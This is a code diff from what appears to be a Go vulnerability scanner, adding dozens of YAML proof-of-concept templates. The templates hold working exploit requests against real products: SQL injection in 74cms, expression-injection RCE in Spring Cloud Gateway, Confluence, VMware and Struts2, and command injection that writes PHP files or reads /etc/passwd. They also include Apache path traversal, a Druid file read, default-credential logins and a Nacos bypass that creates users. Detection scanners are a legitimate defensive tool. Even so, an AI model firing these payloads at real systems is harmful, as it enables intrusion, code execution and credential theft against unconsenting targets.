0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_http_proto_goTypes = []interface{}{
(*UrlType)(nil), // 0: lib.UrlType
(*Request)(nil), // 1: lib.Request
(*Response)(nil), // 2: lib.Response
(*Reverse)(nil), // 3: lib.Reverse
nil, // 4: lib.Request.HeadersEntry
nil, // 5: lib.Response.HeadersEntry
}
var file_http_proto_depIdxs = []int32{
0, // 0: lib.Request.url:type_name -> lib.UrlType
4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
0, // 2: lib.Response.url:type_name -> lib.UrlType
5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
4, // [4:4] is the sub-list for method output_type
4, // [4:4] is the sub-list for method input_type
4, // [4:4] is the sub-list for extension type_name
4, // [4:4] is the sub-list for extension extendee
0, // [0:4] is the sub-list for field type_name
}
func init() { file_http_proto_init() }
func file_http_proto_init() {
if File_http_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*UrlType); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Reverse); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_http_proto_rawDesc,
NumEnums: 0,
NumMessages: 6,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_http_proto_goTypes,
DependencyIndexes: file_http_proto_depIdxs,
MessageInfos: file_http_proto_msgTypes,
}.Build()
File_http_proto = out.File
file_http_proto_rawDesc = nil
file_http_proto_goTypes = nil
file_http_proto_depIdxs = nil
}
+5 -2
View File
@@ -1,6 +1,8 @@
syntax = "proto3";
package lib;
option go_package = "./;lib";
message UrlType {
string scheme = 1;
string domain = 2;
@@ -25,11 +27,12 @@ message Response {
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
double duration = 6;
}
message Reverse {
UrlType url = 1;
string url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}
}
-71
View File
@@ -1,71 +0,0 @@
package lib
import (
"embed"
"fmt"
"gopkg.in/yaml.v3"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-74cms-sqli-1
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
headers:
Content-Type: 'text/xml'
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
follow_redirects: false
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: betta(https://github.com/betta-cyber)
links:
- https://www.uedbox.com/post/29340
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-74cms-sqli-2
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: rexus
links:
- https://www.uedbox.com/post/30019/
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-74cms-sqli
rules:
- method: GET
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
expression: |
response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
detail:
author: jinqi
links:
- https://www.t00ls.net/articles-54436.html
@@ -0,0 +1,11 @@
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
rules:
- method: GET
path: /jbossmq-httpil/HTTPServerILServlet
expression: |
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
detail:
author: mamba
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
+44
View File
@@ -0,0 +1,44 @@
name: Spring-Cloud-CVE-2022-22947
set:
router: randomLowercase(8)
rand1: randomInt(800000000, 1000000000)
rand2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
body: |
{
"id": "{{router}}",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
expression: response.status == 201
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
- method: GET
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
- method: DELETE
path: /actuator/gateway/routes/{{router}}
expression: response.status == 200
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
detail:
author: jweny
description: Spring Cloud Gateway Code Injection
links:
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
@@ -0,0 +1,11 @@
name: poc-yaml-CVE-2022-22954-VMware-RCE
rules:
- method: GET
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
expression: |
response.status == 400 && "device id:".bmatches(response.body)
detail:
author: mamba
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
+16
View File
@@ -0,0 +1,16 @@
name: Confluence-CVE-2022-26134
rules:
- method: GET
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
detail:
author: zan8in
description: |
Atlassian Confluence OGNL注入漏洞
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
app="ATLASSIAN-Confluence"
links:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
@@ -0,0 +1,12 @@
name: Hotel-Internet-Manage-RCE
rules:
- method: GET
path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
author: test
Affected Version: "Hotel Internet Billing & Operation Support System"
links:
- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
@@ -0,0 +1,31 @@
name: poc-yaml-struts2-062-cve-2021-31805-rce
rules:
- method: POST
path: /
headers:
Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
Cache-Control: 'max-age=0'
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
body: "\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
Content-Disposition: form-data; name=\"id\"\r\n\r\n\
%{\r\n\
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
}\r\n\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
"
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Jaky
links:
- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
@@ -0,0 +1,11 @@
name: poc-yaml-active-directory-certsrv-detect
rules:
- method: GET
path: /certsrv/certrqad.asp
follow_redirects: false
expression: |
response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
detail:
author: AgeloVito
links:
- https://www.cnblogs.com/EasonJim/p/6859345.html
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-airflow-unauth
rules:
- method: GET
path: /admin/
expression: |
response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- http://airflow.apache.org/
@@ -0,0 +1,19 @@
name: poc-yaml-alibaba-canal-default-password
rules:
- method: POST
path: /api/v1/user/login
expression: |
response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
- method: POST
path: /api/v1/user/login
headers:
Content-Type: application/json
body: >-
{"username":"admin","password":"123456"}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
detail:
author: jweny(https://github.com/jweny)
links:
- https://www.cnblogs.com/xiexiandong/p/12888582.html
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-alibaba-nacos-api-unauth
rules:
- method: GET
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
headers:
User-Agent: Nacos-Server
follow_redirects: true
expression: |
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
detail:
author: AgeloVito
info: alibaba-nacos-api-unauth
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
@@ -0,0 +1,27 @@
name: poc-yaml-alibaba-nacos-v1-auth-bypass
set:
r1: randomLowercase(16)
r2: randomLowercase(16)
rules:
- method: POST
path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("create user ok!"))
- method: GET
path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
- method: DELETE
path: "/nacos/v1/auth/users?username={{r1}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
detail:
author: kmahyyg(https://github.com/kmahyyg)
links:
- https://github.com/alibaba/nacos/issues/4593
@@ -0,0 +1,18 @@
name: poc-yaml-amtt-hiboss-server-ping-rce
set:
r2: randomLowercase(10)
rules:
- method: GET
path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
- method: GET
path: /{{r2}}.php
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(r2)))
detail:
author: YekkoY
description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
@@ -0,0 +1,11 @@
name: poc-yaml-apache-ambari-default-password
rules:
- method: GET
path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
@@ -0,0 +1,25 @@
name: poc-yaml-apache-axis-webservice-detect
sets:
path:
- services
- servlet/AxisaxiServlet
- servlet/AxisServlet
- services/listServices
- services/FreeMarkerService
- services/AdminService
- axis/services
- axis2/services
- axis/servlet/AxisServlet
- axis2/servlet/AxisServlet
- axis2/services/listServices
- axis/services/FreeMarkerService
- axis/services/AdminService
rules:
- method: GET
path: /{{path}}
expression: |
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
detail:
author: AgeloVito
links:
- https://paper.seebug.org/1489
@@ -0,0 +1,24 @@
name: poc-yaml-apache-druid-cve-2021-36749
manual: true
transport: http
groups:
druid1:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
druid2:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
+2 -4
View File
@@ -7,8 +7,7 @@ rules:
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"address") && response.body.bcontains(b"files")
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
@@ -23,8 +22,7 @@ rules:
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
@@ -0,0 +1,12 @@
name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
manual: true
transport: http
rules:
- method: GET
path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
follow_redirects: false
expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
detail:
author: Jarcis-cy(https://github.com/Jarcis-cy)
links:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
@@ -0,0 +1,16 @@
name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
groups:
cgibin:
- method: GET
path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
icons:
- method: GET
path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: JingLing(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
@@ -0,0 +1,14 @@
name: poc-yaml-apache-httpd-cve-2021-41773-rce
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
body: echo;expr {{r1}} + {{r2}}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
@@ -0,0 +1,10 @@
name: poc-yaml-apache-kylin-unauth-cve-2020-13937
rules:
- method: GET
path: /kylin/api/admin/config
expression: |
response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
detail:
author: JingLing(github.com/shmilylty)
links:
- https://s.tencent.com/research/bsafe/1156.html
@@ -0,0 +1,12 @@
name: poc-yaml-apache-nifi-api-unauthorized-access
manual: true
transport: http
rules:
- method: GET
path: /nifi-api/flow/current-user
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
